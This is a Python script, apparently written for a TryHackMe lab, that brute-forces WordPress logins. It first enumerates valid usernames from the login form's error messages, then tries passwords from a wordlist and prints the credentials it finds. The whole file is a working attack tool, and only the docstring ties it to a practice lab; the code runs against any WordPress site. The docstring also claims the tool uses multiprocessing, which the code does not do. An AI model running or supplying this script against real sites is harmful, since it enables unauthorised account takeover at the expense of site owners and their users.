wordpress.py

#!/usr/bin/env python3

"""WordPress Attack

Try to bruteforce a wordpress login form using multiprocessing
Example WordPress CMS login: 
    - Go to https://tryhackme.com/room/mrrobot
    - Start box and go to http://IP/wp-login.php
    - Run python script on above SITE

Usage: $ python3 wordpress.py [-h] -s SITE -u USERNAMES -p PASSWORDS
Ex: $ python3 wordpress.py -s http://10.10.10.10/wp-login.php -u resources/usernames.txt -p resources/passwords.txt
"""

import argparse
import sys
import time

import bs4
import requests


def argparser():
    """Parses required arguments

    Returns:
        argparse object: Variables to hold host URL, username list, and password list
    """
    parser = argparse.ArgumentParser(description="Wordpress Login Form Hack")
    parser.add_argument(
        "-s", "--site", help="full URL for wordpress login form page", required=True
    )
    parser.add_argument(
        "-u",
        "--usernames",
        type=argparse.FileType("r"),
        help="list of usernames",
        required=True,
    )
    parser.add_argument(
        "-p",
        "--passwords",
        type=argparse.FileType("r"),
        help="list of passwords",
        required=True,
    )
    args = parser.parse_args()
    return args


def check_status(target: str) -> int:
    """Checks status of a web page

    Args:
        target (str): URL for web form

    Returns:
        int: Status code
    """
    try:
        r = requests.get(target)
        print(f"\nStatus for <{target}>: {r.status_code}")
        return r.status_code
    except Exception as e:
        print(f"Exception: {e}")
        return None


def brute_username(target: str, usernames: list) -> str:
    """Bruteforces usernames

    Args:
        target (str): URL for a WordPress CMS login
        usernames (list): Dictionary of common usernames

    Returns:
        str: A valid username
    """
    total = len(usernames)
    interval = int(total / 10)
    print(f"\nStarting username brute force with {total} usernames:")
    for i, user in enumerate(usernames):
        attempt = requests.post(target, data={"log": user, "pwd": "-1"})
        if "incorrect" in attempt.text:
            percent = int(i / total * 100)
            print(f"[{percent}%] Attempting username {user}... SUCCESS")
            ans = input(f'User "{user}" found, try finding password [y/n]? ')
            if ans == "y":
                return user
        elif i % interval == 0:
            percent = int(i / total * 100)
            print(f"[{percent}%] Attempting username {user}... FAIL")
    return None


def brute_password(target: str, username: str, passwords: list) -> str:
    """Bruteforces passwords

    Args:
        target (str): URL for a WordPress CMS login
        username (str): Chosen username to bruteforce passwords for
        passwords (list): Dictionary of common passwords

    Returns:
        str: A valid password for the chosen username
    """
    total = len(passwords)
    interval = int(total / 10)
    print(f"\nStarting password brute force with {total} passwords:")
    for i, pwd in enumerate(passwords):
        attempt = requests.post(target, data={"log": username, "pwd": pwd})
        if "incorrect" not in attempt.text:
            percent = int(i / total * 100)
            print(f"[{percent}%] Password {pwd}... SUCCESS")
            return pwd
        elif i % interval == 0:
            percent = int(i / total * 100)
            print(f"[{percent}%] Attempting password {pwd}... FAIL")
    return None


def wp_brute_force_login(
    target: str, uf: argparse.FileType, pf: argparse.FileType
) -> tuple:
    """Attempts to bruteforce a WordPress CMS login

    Args:
        target (str): URL for a WordPress CMS login

    Returns:
        list: password on success else none
    """
    print(f"Hacking {target}")
    print(f"\t- username list: {uf.name}\n\t- password list: {pf.name}")

    if check_status(target) != 200:
        print("Page does not exist, stopping...")
        return None

    input("Page exists, press [Enter] to continue...")

    start = time.perf_counter()

    usernames = [line.strip() for line in uf.readlines()]
    username = brute_username(target, usernames)
    password = None

    if username:
        passwords = [line.strip() for line in pf.readlines()]
        password = brute_password(target, username, passwords)

    if password:
        print(f"\nCREDENTIALS FOUND\n\tUsername: {username}\n\tPassword: {password}")

    finish = time.perf_counter()
    print(f"Finished in {finish-start} seconds.")

    return (username, password)


if __name__ == "__main__":
    args = argparser()
    wp_brute_force_login(args.site, args.usernames, args.passwords)